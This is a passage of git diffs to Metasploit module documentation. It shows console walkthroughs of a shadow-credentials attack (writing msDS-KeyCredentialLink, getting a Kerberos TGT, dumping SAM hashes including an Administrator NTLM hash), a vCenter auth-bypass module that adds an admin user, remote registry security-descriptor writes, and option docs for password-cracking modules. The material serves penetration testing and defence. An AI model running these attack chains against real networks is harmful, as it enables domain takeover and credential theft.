[+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID 8a75b35e-f4d9-4469-49aa-3f0bfc692f07
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
The LDAP property has been successfully updated. Now we can request a TGT using the `get_ticket` module.
|
||||
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(admin/kerberos/get_ticket) > set rhosts 20.92.148.129
|
||||
rhosts => 20.92.148.129
|
||||
msf6 auxiliary(admin/kerberos/get_ticket) > set username victim
|
||||
username => victim
|
||||
msf6 auxiliary(admin/kerberos/get_ticket) > set domain MSF.LOCAL
|
||||
domain => MSF.LOCAL
|
||||
msf6 auxiliary(admin/kerberos/get_ticket) > set cert_file /home/user/.msf4/loot/20240404115740_default_20.92.148.129_windows.ad.cs_300384.pfx
|
||||
cert_file => /home/user/.msf4/loot/20240404115740_default_20.92.148.129_windows.ad.cs_300384.pfx
|
||||
msf6 auxiliary(admin/kerberos/get_ticket) > run
|
||||
[*] Running module against 20.92.148.129
|
||||
|
||||
[!] Warning: Provided principal and realm (victim@MSF.LOCAL) do not match entries in certificate:
|
||||
[*] 20.92.148.129:88 - Getting TGT for victim@MSF.LOCAL
|
||||
[+] 20.92.148.129:88 - Received a valid TGT-Response
|
||||
[*] 20.92.148.129:88 - TGT MIT Credential Cache ticket saved to /home/user/.msf4/loot/20240404120020_default_20.92.148.129_mit.kerberos.cca_046023.bin
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
The saved TGT can be used in a pass-the-ticket style attack. For instance using the `auxiliary/gather/windows_secrets_dump` module:
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(gather/windows_secrets_dump) > run smb::auth=kerberos smb::rhostname=dc22 smbuser=victim smbdomain=msf.local rhost=20.92.148.129 domaincontrollerrhost=20.92.148.129
|
||||
[*] Running module against 20.92.148.129
|
||||
|
||||
[*] 20.92.148.129:445 - Using cached credential for krbtgt/MSF.LOCAL@MSF.LOCAL victim@MSF.LOCAL
|
||||
[+] 20.92.148.129:445 - 20.92.148.129:88 - Received a valid TGS-Response
|
||||
[*] 20.92.148.129:445 - 20.92.148.129:445 - TGS MIT Credential Cache ticket saved to /home/user/.msf4/loot/20240404121510_default_20.92.148.129_mit.kerberos.cca_449355.bin
|
||||
[+] 20.92.148.129:445 - 20.92.148.129:88 - Received a valid delegation TGS-Response
|
||||
[*] 20.92.148.129:445 - Service RemoteRegistry is already running
|
||||
[*] 20.92.148.129:445 - Retrieving target system bootKey
|
||||
[+] 20.92.148.129:445 - bootKey: 0x019e09099ae1ec55560bc1e7f9414919
|
||||
[*] 20.92.148.129:445 - Saving remote SAM database
|
||||
[*] 20.92.148.129:445 - Dumping SAM hashes
|
||||
[*] 20.92.148.129:445 - Password hints:
|
||||
No users with password hints on this system
|
||||
[*] 20.92.148.129:445 - Password hashes (pwdump format - uid:rid:lmhash:nthash:::):
|
||||
Administrator:500:aad3b435b51404eeaad3b435b51404ee:26f8220ed7f1494c5737bd552e661f89:::
|
||||
```
|
||||
|
||||
### Window Server 2022 Domain Controller, Computer account targeting itself
|
||||
|
||||
In the following example the user `MSF\DESKTOP-H4VEQQHQ$` targets itself. No special permissions are required for this, as computers have some ability to modify their own value by default.
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 username=DESKTOP-H971T3AH$ target_user=DESKTOP-H971T3AH$ password=JJ2xSxvop2KERcJu8JMEmzv5sswNZBlV action=add
|
||||
[*] Running module against 20.92.148.129
|
||||
|
||||
[+] Successfully bound to the LDAP server!
|
||||
[*] Discovering base DN automatically
|
||||
[*] 20.92.148.129:389 Getting root DSE
|
||||
[+] 20.92.148.129:389 Discovered base DN: DC=msf,DC=local
|
||||
[*] Certificate stored at: /home/user/.msf4/loot/20240404122017_default_20.92.148.129_windows.ad.cs_502988.pfx
|
||||
[+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID ff946afc-a94a-f9c5-7229-861bb9ee4709
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
Note, however, that attempting to add a second credential will fail under these circumstances:
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 username=DESKTOP-H971T3AH$ target_user=DESKTOP-H971T3AH$ password=JJ2xSxvop2KERcJu8JMEmzv5sswNZBlV action=add
|
||||
[*] Running module against 20.92.148.129
|
||||
|
||||
[+] Successfully bound to the LDAP server!
|
||||
[*] Discovering base DN automatically
|
||||
[*] 20.92.148.129:389 Getting root DSE
|
||||
[+] 20.92.148.129:389 Discovered base DN: DC=msf,DC=local
|
||||
[!] By default, computer accounts can only update their key credentials if no value already exists. If there is already a value present, you can remove it, and add your own, but any users relying on the existing credentials will not be able to authenticate until you replace the existing value(s).
|
||||
[-] Failed to update the msDS-KeyCredentialLink attribute.
|
||||
[-] Auxiliary aborted due to failure: no-access: The LDAP operation failed due to insufficient access rights.
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
This is because computer accounts only have permission to modify their own `msDS-KeyCredentialLink` property if it does not already have a value.
|
||||
It is possible to circumvent this by first entirely removing the existing value, and then adding a new one. Note that this will break authentication
|
||||
for any legitimate user relying on the existing value.
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(admin/ldap/shadow_credentials) > set action flush
|
||||
action => flush
|
||||
msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 username=DESKTOP-H971T3AH$ target_user=DESKTOP-H971T3AH$ password=JJ2xSxvop2KERcJu8JMEmzv5sswNZBlV
|
||||
[*] Running module against 20.92.148.129
|
||||
|
||||
[+] Successfully bound to the LDAP server!
|
||||
[*] Discovering base DN automatically
|
||||
[*] 20.92.148.129:389 Getting root DSE
|
||||
[+] 20.92.148.129:389 Discovered base DN: DC=msf,DC=local
|
||||
[+] Successfully deleted the msDS-KeyCredentialLink attribute.
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(admin/ldap/shadow_credentials) > set action add
|
||||
action => add
|
||||
msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 username=DESKTOP-H971T3AH$ target_user=DESKTOP-H971T3AH$ password=JJ2xSxvop2KERcJu8JMEmzv5sswNZBlV
|
||||
[*] Running module against 20.92.148.129
|
||||
|
||||
[+] Successfully bound to the LDAP server!
|
||||
[*] Discovering base DN automatically
|
||||
[*] 20.92.148.129:389 Getting root DSE
|
||||
[+] 20.92.148.129:389 Discovered base DN: DC=msf,DC=local
|
||||
[*] Certificate stored at: /home/user/.msf4/loot/20240404122240_default_20.92.148.129_windows.ad.cs_785877.pfx
|
||||
[+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID 1107833b-0eb6-0477-a7c6-3590b326851a
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -32,21 +32,21 @@ Add an admin user to the vCenter Server.
|
||||
If you already have the LDAP base DN, you may set it in this option.
|
||||
`dc=vsphere,dc=local` will be used if not set.
|
||||
|
||||
### BIND_DN
|
||||
### USERNAME
|
||||
|
||||
If you already have a password to authenticate to the LDAP server (see
|
||||
BIND_PW), this option let you setup the bind username in DN format (e.g
|
||||
USERNAME), this option let you setup the bind username in DN format (e.g
|
||||
`cn=1.2.3.4,ou=Domain Controllers,dc=vsphere,dc=local`).
|
||||
|
||||
### BIND_PW
|
||||
### PASSWORD
|
||||
|
||||
The password to authenticate to the LDAP server, if you have it.
|
||||
|
||||
### USERNAME
|
||||
### NEW_USERNAME
|
||||
|
||||
Set this to the username for the new admin user.
|
||||
|
||||
### PASSWORD
|
||||
### NEW_PASSWORD
|
||||
|
||||
Set this to the password for the new admin user.
|
||||
|
||||
@@ -60,14 +60,17 @@ msf5 auxiliary(admin/ldap/vmware_vcenter_vmdir_auth_bypass) > options
|
||||
|
||||
Module options (auxiliary/admin/ldap/vmware_vcenter_vmdir_auth_bypass):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
BASE_DN no LDAP base DN if you already have it
|
||||
PASSWORD no Password of admin user to add
|
||||
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
|
||||
RPORT 636 yes The target port
|
||||
SSL true no Enable SSL on the LDAP connection
|
||||
USERNAME no Username of admin user to add
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
BASE_DN no LDAP base DN if you already have it
|
||||
DOMAIN no The domain to authenticate to
|
||||
NEW_PASSWORD no Password of admin user to add
|
||||
NEW_USERNAME no Username of admin user to add
|
||||
PASSWORD no The password to authenticate with
|
||||
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 636 yes The target port
|
||||
SSL true no Enable SSL on the LDAP connection
|
||||
USERNAME no The username to authenticate with
|
||||
|
||||
|
||||
Auxiliary action:
|
||||
@@ -79,10 +82,10 @@ Auxiliary action:
|
||||
|
||||
msf5 auxiliary(admin/ldap/vmware_vcenter_vmdir_auth_bypass) > set rhosts [redacted]
|
||||
rhosts => [redacted]
|
||||
msf5 auxiliary(admin/ldap/vmware_vcenter_vmdir_auth_bypass) > set username msfadmin
|
||||
username => msfadmin
|
||||
msf5 auxiliary(admin/ldap/vmware_vcenter_vmdir_auth_bypass) > set password msfadmin
|
||||
password => msfadmin
|
||||
msf5 auxiliary(admin/ldap/vmware_vcenter_vmdir_auth_bypass) > set new_username msfadmin
|
||||
new_username => msfadmin
|
||||
msf5 auxiliary(admin/ldap/vmware_vcenter_vmdir_auth_bypass) > set new_password msfadmin
|
||||
new_password => msfadmin
|
||||
msf5 auxiliary(admin/ldap/vmware_vcenter_vmdir_auth_bypass) > run
|
||||
[*] Running module against [redacted]
|
||||
not verifying SSL hostname of LDAPS server '[redacted]:636'
|
||||
@@ -140,15 +143,15 @@ Module options (auxiliary/admin/ldap/vmware_vcenter_vmdir_auth_bypass):
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
BASE_DN dc=vsphere,dc=local no LDAP base DN if you already have it
|
||||
BIND_DN cn=192.168.3.32,ou=Domain Controlle no The username to authenticate to LDAP server
|
||||
USERNAME cn=192.168.3.32,ou=Domain Controlle no The username to authenticate to LDAP server
|
||||
rs,dc=vsphere,dc=local
|
||||
BIND_PW #$F4!4SeV\BL~L2gb(oa no Password for the BIND_DN
|
||||
PASSWORD NewPassword123# no Password of admin user to add
|
||||
PASSWORD #$F4!4SeV\BL~L2gb(oa no Password for the BIND_DN
|
||||
NEW_PASSWORD NewPassword123# no Password of admin user to add
|
||||
RHOSTS 192.168.3.32 yes The target host(s), see https://github.com/rapid7/metasploit-framework
|
||||
/wiki/Using-Metasploit
|
||||
RPORT 636 yes The target port
|
||||
SSL true no Enable SSL on the LDAP connection
|
||||
USERNAME MsfAdmin no Username of admin user to add
|
||||
NEW_USERNAME MsfAdmin no Username of admin user to add
|
||||
|
||||
|
||||
Auxiliary action:
|
||||
|
||||
@@ -0,0 +1,84 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module reads or writes a Windows registry security descriptor remotely.
|
||||
|
||||
In READ mode, the `FILE` option can be set to specify where the security
|
||||
descriptor should be written to.
|
||||
|
||||
The following format is used:
|
||||
```
|
||||
key: <registry key>
|
||||
security_info: <security information>
|
||||
sd: <security descriptor as a hex string>
|
||||
```
|
||||
|
||||
In WRITE mode, the `FILE` option can be used to specify the information needed
|
||||
to write the security descriptor to the remote registry. The file must follow
|
||||
the same format as described above.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
1. Do: `use auxiliary/admin/registry_security_descriptor`
|
||||
1. Do: `run verbose=true rhost=<host> smbuser=<username> smbpass=<password> key=<registry key>`
|
||||
1. **Verify** the registry key security descriptor is displayed
|
||||
1. Do: `run verbose=true rhost=<host> smbuser=<username> smbpass=<password> key=<registry key> file=<file path>`
|
||||
1. **Verify** the registry key security descriptor is saved to the file
|
||||
1. Do: `run verbose=true rhost=<host> smbuser=<username> smbpass=<password> key=<registry key> action=write sd=<security descriptor as a hex string>`
|
||||
1. **Verify** the security descriptor is correctly set on the given registry key
|
||||
1. Do: `run verbose=true rhost=<host> smbuser=<username> smbpass=<password> file=<file path>`
|
||||
1. **Verify** the security descriptor taken from the file is correctly set on the given registry key
|
||||
|
||||
## Options
|
||||
|
||||
### KEY
|
||||
Registry key to read or write.
|
||||
|
||||
### SD
|
||||
Security Descriptor to write as a hex string.
|
||||
|
||||
### SECURITY_INFORMATION
|
||||
Security Information to read or write (see
|
||||
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/23e75ca3-98fd-4396-84e5-86cd9d40d343
|
||||
(default: OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION).
|
||||
|
||||
### FILE
|
||||
File path to store the security descriptor when reading or source file path used to write the security descriptor when writing
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Read against Windows Server 2019
|
||||
|
||||
```
|
||||
msf6 auxiliary(admin/registry_security_descriptor) > run verbose=true rhost=192.168.101.124 smbuser=Administrator smbpass=123456 action=READ key='HKLM\SECURITY\Policy\PolEKList'
|
||||
[*] Running module against 192.168.101.124
|
||||
|
||||
[+] 192.168.101.124:445 - Raw security descriptor for HKLM\SECURITY\Policy\PolEKList: 01000480480000005800000000000000140000000200340002000000000214003f000f0001010000000000051200000000021800000006000102000000000005200000002002000001020000000000052000000020020000010100000000000512000000
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
### Write against Windows Server 2019
|
||||
Note that the information security has been set to 4 (DACL_SECURITY_INFORMATION) to avoid an access denied error.
|
||||
|
||||
```
|
||||
msf6 auxiliary(admin/registry_security_descriptor) > run verbose=true rhost=192.168.101.124 smbuser=Administrator smbpass=123456 key='HKLM\SECURITY\Policy\PolEKList' action=WRITE sd=01000480480000005800000000000000140000000200340002000000000214003f000f0001010000000000051200000000021800000006000102000000000005200000002002000001020000000000052000000020020000010100000000000512000000 security_information=4
|
||||
[*] Running module against 192.168.101.124
|
||||
|
||||
[+] 192.168.101.124:445 - Security descriptor set for HKLM\SECURITY\Policy\PolEKList
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
### Write against Windows Server 2019 (from file)
|
||||
|
||||
```
|
||||
msf6 auxiliary(admin/registry_security_descriptor) > run verbose=true rhost=192.168.101.124 smbuser=Administrator smbpass=123456 action=WRITE file=/tmp/remote_registry_sd_backup.yml
|
||||
[*] Running module against 192.168.101.124
|
||||
|
||||
[*] 192.168.101.124:445 - Getting security descriptor info from file /tmp/remote_registry_sd_backup.yml
|
||||
key: HKLM\SECURITY\Policy\PolEKList
|
||||
security information: 4
|
||||
security descriptor: 01000480480000005800000000000000140000000200340002000000000214003f000f0001010000000000051200000000021800000006000102000000000005200000002002000001020000000000052000000020020000010100000000000512000000
|
||||
[+] 192.168.101.124:445 - Security descriptor set for HKLM\SECURITY\Policy\PolEKList
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -11,28 +11,36 @@
|
||||
4. Do: ```run```
|
||||
5. You should hopefully crack a password.
|
||||
|
||||
## Actions
|
||||
|
||||
### john
|
||||
|
||||
Use john the ripper (default).
|
||||
|
||||
### hashcat
|
||||
|
||||
Use hashcat.
|
||||
|
||||
## Options
|
||||
|
||||
### CONFIG
|
||||
|
||||
**CONFIG**
|
||||
The path to a John config file (JtR option: `--config`). Default is `metasploit-framework/data/john.conf`
|
||||
|
||||
The path to a John config file (JtR option: `--config`). Default is `metasploit-framework/data/john.conf`
|
||||
### JOHN_PATH
|
||||
|
||||
**JOHN_PATH**
|
||||
The absolute path to the John the Ripper executable. Default behavior is to search `path` for `john` and `john.exe`.
|
||||
|
||||
The absolute path to the John the Ripper executable. Default behavior is to search `path` for
|
||||
`john` and `john.exe`.
|
||||
### POT
|
||||
|
||||
**POT**
|
||||
The path to a John POT file (JtR option: `--pot`) to use instead. The `pot` file is the data file which
|
||||
records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`.
|
||||
Default is `~/.msf4/john.pot`.
|
||||
|
||||
The path to a John POT file (JtR option: `--pot`) to use instead. The `pot` file is the data file which
|
||||
records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`.
|
||||
Default is `~/.msf4/john.pot`.
|
||||
### DeleteTempFiles
|
||||
|
||||
**DeleteTempFiles**
|
||||
|
||||
This option will prevent deletion of the wordlist and file containing hashes. This may be useful for
|
||||
running the hashes through john if it wasn't cracked, or for debugging. Default is `false`.
|
||||
This option will prevent deletion of the wordlist and file containing hashes. This may be useful for
|
||||
running the hashes through john if it wasn't cracked, or for debugging. Default is `false`.
|
||||
|
||||
## Scenarios
|
||||
|
||||
|
||||
@@ -8,7 +8,7 @@
|
||||
Formats:
|
||||
|
||||
| Common | John | Hashcat |
|
||||
|--------| ---------|---------|
|
||||
| ------ | -------- | ------- |
|
||||
| des | descript | 1500 |
|
||||
|
||||
Sources of hashes can be found here:
|
||||
@@ -25,55 +25,54 @@
|
||||
|
||||
## Actions
|
||||
|
||||
**john**
|
||||
### john
|
||||
|
||||
Use john the ripper (default).
|
||||
Use john the ripper (default).
|
||||
|
||||
**hashcat**
|
||||
### hashcat
|
||||
|
||||
Use hashcat.
|
||||
Use hashcat.
|
||||
|
||||
## Options
|
||||
|
||||
### CONFIG
|
||||
|
||||
**CONFIG**
|
||||
The path to a John config file (JtR option: `--config`). Default is `metasploit-framework/data/john.conf`
|
||||
|
||||
The path to a John config file (JtR option: `--config`). Default is `metasploit-framework/data/john.conf`
|
||||
### CRACKER_PATH
|
||||
|
||||
**CRACKER_PATH**
|
||||
The absolute path to the cracker executable. Default behavior is to search `path`.
|
||||
|
||||
The absolute path to the cracker executable. Default behavior is to search `path`.
|
||||
### CUSTOM_WORDLIST
|
||||
|
||||
**CUSTOM_WORDLIST**
|
||||
The path to an optional custom wordlist. This file is added to the new wordlist which may include the other
|
||||
`USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it.
|
||||
|
||||
The path to an optional custom wordlist. This file is added to the new wordlist which may include the other
|
||||
`USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it.
|
||||
### DeleteTempFiles
|
||||
|
||||
**DeleteTempFiles**
|
||||
This option will prevent deletion of the wordlist and file containing hashes. This may be useful for
|
||||
running the hashes through john if it wasn't cracked, or for debugging. Default is `false`.
|
||||
|
||||
This option will prevent deletion of the wordlist and file containing hashes. This may be useful for
|
||||
running the hashes through john if it wasn't cracked, or for debugging. Default is `false`.
|
||||
### Fork
|
||||
|
||||
**Fork**
|
||||
This option will set how many forks to use on john the ripper. Default is `1` (no forking).
|
||||
|
||||
This option will set how many forks to use on john the ripper. Default is `1` (no forking).
|
||||
### INCREMENTAL
|
||||
|
||||
**INCREMENTAL**
|
||||
Run the cracker in incremental mode. Default is `true`
|
||||
|
||||
Run the cracker in incremental mode. Default is `true`
|
||||
### ITERATION_TIMEOUT
|
||||
|
||||
**ITERATION_TIMEOUT**
|
||||
The max-run-time for each iteration of cracking
|
||||
|
||||
The max-run-time for each iteration of cracking
|
||||
### KORELOGIC
|
||||
|
||||
**KORELOGIC**
|
||||
Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower).
|
||||
Default is `false`.
|
||||
|
||||
Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower).
|
||||
Default is `false`.
|
||||
### MUTATE
|
||||
|
||||
**MUTATE**
|
||||
|
||||
Apply common mutations to the Wordlist (SLOW). Mutations are:
|
||||
Apply common mutations to the Wordlist (SLOW). Mutations are:
|
||||
|
||||
* `'@' => 'a'`
|
||||
* `'0' => 'o'`
|
||||
@@ -83,44 +82,44 @@
|
||||
* `'1' => 'l'`
|
||||
* `'5' => 's'`
|
||||
|
||||
Default is `false`.
|
||||
Default is `false`.
|
||||
|
||||
**POT**
|
||||
### POT
|
||||
|
||||
The path to a John POT file (JtR option: `--pot`) to use instead. The `pot` file is the data file which
|
||||
records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`.
|
||||
Default is `~/.msf4/john.pot`.
|
||||
The path to a John POT file (JtR option: `--pot`) to use instead. The `pot` file is the data file which
|
||||
records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`.
|
||||
Default is `~/.msf4/john.pot`.
|
||||
|
||||
**SHOWCOMMAND**
|
||||
### SHOWCOMMAND
|
||||
|
||||
Show the command being used run from the command line for debugging. Default is `false`
|
||||
Show the command being used run from the command line for debugging. Default is `false`
|
||||
|
||||
**USE_CREDS**
|
||||
### USE_CREDS
|
||||
|
||||
Use existing credential data saved in the database. Default is `true`.
|
||||
Use existing credential data saved in the database. Default is `true`.
|
||||
|
||||
**USE_DB_INFO**
|
||||
### USE_DB_INFO
|
||||
|
||||
Use looted database schema info to seed the wordlist. This includes the Database Name, each Table Name,
|
||||
and each Column Name. If the DB is MSSQL, the Instance Name is also used. Default is `true`.
|
||||
Use looted database schema info to seed the wordlist. This includes the Database Name, each Table Name,
|
||||
and each Column Name. If the DB is MSSQL, the Instance Name is also used. Default is `true`.
|
||||
|
||||
**USE_DEFAULT_WORDLIST**
|
||||
### USE_DEFAULT_WORDLIST
|
||||
|
||||
Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`. Default is
|
||||
`true`.
|
||||
Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`. Default is
|
||||
`true`.
|
||||
|
||||
**USE_HOSTNAMES**
|
||||
### USE_HOSTNAMES
|
||||
|
||||
Seed the wordlist with hostnames from the workspace. Default is `true`.
|
||||
Seed the wordlist with hostnames from the workspace. Default is `true`.
|
||||
|
||||
**USE_ROOT_WORDS**
|
||||
### USE_ROOT_WORDS
|
||||
|
||||
Use the Common Root Words Wordlist in `metasploit-framework/data/wordlists/common_roots.txt`. Default
|
||||
is true.
|
||||
|
||||
**WORDLIST**
|
||||
### WORDLIST
|
||||
|
||||
Run the cracker in dictionary/wordlist mode. Default is `true`
|
||||
Run the cracker in dictionary/wordlist mode. Default is `true`
|
||||
|
||||
## Scenarios
|
||||
|
||||
|
||||
@@ -18,7 +18,7 @@
|
||||
|
||||
|
||||
| Common | John | Hashcat |
|
||||
|----------------|-------------|---------|
|
||||
| -------------- | ----------- | ------- |
|
||||
| mysql | mysql | 200 |
|
||||
| mysql-sha1 | mysql-sha1 | 300 |
|
||||
| mssql | mssql | 131 |
|
||||
@@ -43,62 +43,62 @@
|
||||
|
||||
## Actions
|
||||
|
||||
**john**
|
||||
### john
|
||||
|
||||
Use john the ripper (default).
|
||||
Use john the ripper (default).
|
||||
|
||||
**hashcat**
|
||||
### hashcat
|
||||
|
||||
Use hashcat.
|
||||
Use hashcat.
|
||||
|
||||
## Options
|
||||
|
||||
**CONFIG**
|
||||
### CONFIG
|
||||
|
||||
The path to a John config file (JtR option: `--config`). Default is `metasploit-framework/data/john.conf`
|
||||
The path to a John config file (JtR option: `--config`). Default is `metasploit-framework/data/john.conf`
|
||||
|
||||
**CRACKER_PATH**
|
||||
### CRACKER_PATH
|
||||
|
||||
The absolute path to the cracker executable. Default behavior is to search `path`.
|
||||
The absolute path to the cracker executable. Default behavior is to search `path`.
|
||||
|
||||
**CUSTOM_WORDLIST**
|
||||
### CUSTOM_WORDLIST
|
||||
|
||||
The path to an optional custom wordlist. This file is added to the new wordlist which may include the other
|
||||
`USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it.
|
||||
The path to an optional custom wordlist. This file is added to the new wordlist which may include the other
|
||||
`USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it.
|
||||
|
||||
**DeleteTempFiles**
|
||||
### DeleteTempFiles
|
||||
|
||||
This option will prevent deletion of the wordlist and file containing hashes. This may be useful for
|
||||
running the hashes through john if it wasn't cracked, or for debugging. Default is `false`.
|
||||
This option will prevent deletion of the wordlist and file containing hashes. This may be useful for
|
||||
running the hashes through john if it wasn't cracked, or for debugging. Default is `false`.
|
||||
|
||||
**Fork**
|
||||
### Fork
|
||||
|
||||
This option will set how many forks to use on john the ripper. Default is `1` (no forking).
|
||||
This option will set how many forks to use on john the ripper. Default is `1` (no forking).
|
||||
|
||||
**INCREMENTAL**
|
||||
### INCREMENTAL
|
||||
|
||||
Run the cracker in incremental mode. Default is `true`
|
||||
Run the cracker in incremental mode. Default is `true`
|
||||
|
||||
**ITERATION_TIMEOUT**
|
||||
### ITERATION_TIMEOUT
|
||||
|
||||
The max-run-time for each iteration of cracking.
|
||||
The max-run-time for each iteration of cracking.
|
||||
|
||||
**KORELOGIC**
|
||||
### KORELOGIC
|
||||
|
||||
Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower).
|
||||
Default is `false`.
|
||||
Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower).
|
||||
Default is `false`.
|
||||
|
||||
**MSSQL**
|
||||
### MSSQL
|
||||
|
||||
Crack MSSQL hashes. Default is `true`.
|
||||
Crack MSSQL hashes. Default is `true`.
|
||||
|
||||
**MYSQL**
|
||||
### MYSQL
|
||||
|
||||
Crack MySQL hashes. Default is `true`.
|
||||
Crack MySQL hashes. Default is `true`.
|
||||
|
||||
**MUTATE**
|
||||
### MUTATE
|
||||
|
||||
Apply common mutations to the Wordlist (SLOW). Mutations are:
|
||||
Apply common mutations to the Wordlist (SLOW). Mutations are:
|
||||
|
||||
* `'@' => 'a'`
|
||||
* `'0' => 'o'`
|
||||
@@ -108,53 +108,53 @@
|
||||
* `'1' => 'l'`
|
||||
* `'5' => 's'`
|
||||
|
||||
Default is `false`.
|
||||
Default is `false`.
|
||||
|
||||
**ORACLE**
|
||||
### ORACLE
|
||||
|
||||
Crack oracle hashes. Default is `true`.
|
||||
Crack oracle hashes. Default is `true`.
|
||||
|
||||
|
||||
**POSTGRES**
|
||||
### POSTGRES
|
||||
|
||||
Crack postgres hashes. Default is `true`.
|
||||
Crack postgres hashes. Default is `true`.
|
||||
|
||||
**POT**
|
||||
### POT
|
||||
|
||||
The path to a John POT file (JtR option: `--pot`) to use instead. The `pot` file is the data file which
|
||||
records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`.
|
||||
Default is `~/.msf4/john.pot`.
|
||||
The path to a John POT file (JtR option: `--pot`) to use instead. The `pot` file is the data file which
|
||||
records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`.
|
||||
Default is `~/.msf4/john.pot`.
|
||||
|
||||
**SHOWCOMMAND**
|
||||
### SHOWCOMMAND
|
||||
|
||||
Show the command being used run from the command line for debugging. Default is `false`
|
||||
Show the command being used run from the command line for debugging. Default is `false`
|
||||
|
||||
**USE_CREDS**
|
||||
### USE_CREDS
|
||||
|
||||
Use existing credential data saved in the database. Default is `true`.
|
||||
Use existing credential data saved in the database. Default is `true`.
|
||||
|
||||
**USE_DB_INFO**
|
||||
### USE_DB_INFO
|
||||
|
||||
Use looted database schema info to seed the wordlist. This includes the Database Name, each Table Name,
|
||||
and each Column Name. If the DB is MSSQL, the Instance Name is also used. Default is `true`.
|
||||
Use looted database schema info to seed the wordlist. This includes the Database Name, each Table Name,
|
||||
and each Column Name. If the DB is MSSQL, the Instance Name is also used. Default is `true`.
|
||||
|
||||
**USE_DEFAULT_WORDLIST**
|
||||
### USE_DEFAULT_WORDLIST
|
||||
|
||||
Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`. Default is
|
||||
`true`.
|
||||
Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`. Default is
|
||||
`true`.
|
||||
|
||||
**USE_HOSTNAMES**
|
||||
### USE_HOSTNAMES
|
||||
|
||||
Seed the wordlist with hostnames from the workspace. Default is `true`.
|
||||
Seed the wordlist with hostnames from the workspace. Default is `true`.
|
||||
|
||||
**USE_ROOT_WORDS**
|
||||
### USE_ROOT_WORDS
|
||||
|
||||
Use the Common Root Words Wordlist in `metasploit-framework/data/wordlists/common_roots.txt`. Default
|
||||
is true.
|
||||
Use the Common Root Words Wordlist in `metasploit-framework/data/wordlists/common_roots.txt`. Default
|
||||
is true.
|
||||
|
||||
**WORDLIST**
|
||||
### WORDLIST
|
||||
|
||||
Run the cracker in dictionary/wordlist mode. Default is `true`
|
||||
Run the cracker in dictionary/wordlist mode. Default is `true`
|
||||
|
||||
## Scenarios
|
||||
|
||||
|
||||
@@ -11,7 +11,7 @@
|
||||
* `SHA512` based passwords
|
||||
|
||||
| Common | John | Hashcat |
|
||||
|----------|-------------|-------- |
|
||||
| -------- | ----------- | ------- |
|
||||
| des | descript | 1500 |
|
||||
| md5 | md5crypt | 500 |
|
||||
| bsdi | bsdicrypt | 12400 |
|
||||
@@ -33,71 +33,70 @@
|
||||
|
||||
## Actions
|
||||
|
||||
**john**
|
||||
### john
|
||||
|
||||
Use john the ripper (default).
|
||||
Use john the ripper (default).
|
||||
|
||||
**hashcat**
|
||||
### hashcat
|
||||
|
||||
Use hashcat.
|
||||
Use hashcat.
|
||||
|
||||
## Options
|
||||
|
||||
**BLOWFISH**
|
||||
### BLOWFISH
|
||||
|
||||
Crack Blowfish hashes. Default is `false`.
|
||||
Crack Blowfish hashes. Default is `false`.
|
||||
|
||||
**BSDi**
|
||||
### BSDi
|
||||
|
||||
Crack BSDi hashes. Default is `true`.
|
||||
Crack BSDi hashes. Default is `true`.
|
||||
|
||||
**CONFIG**
|
||||
### CONFIG
|
||||
|
||||
The path to a John config file (JtR option: `--config`). Default is `metasploit-framework/data/john.conf`
|
||||
The path to a John config file (JtR option: `--config`). Default is `metasploit-framework/data/john.conf`
|
||||
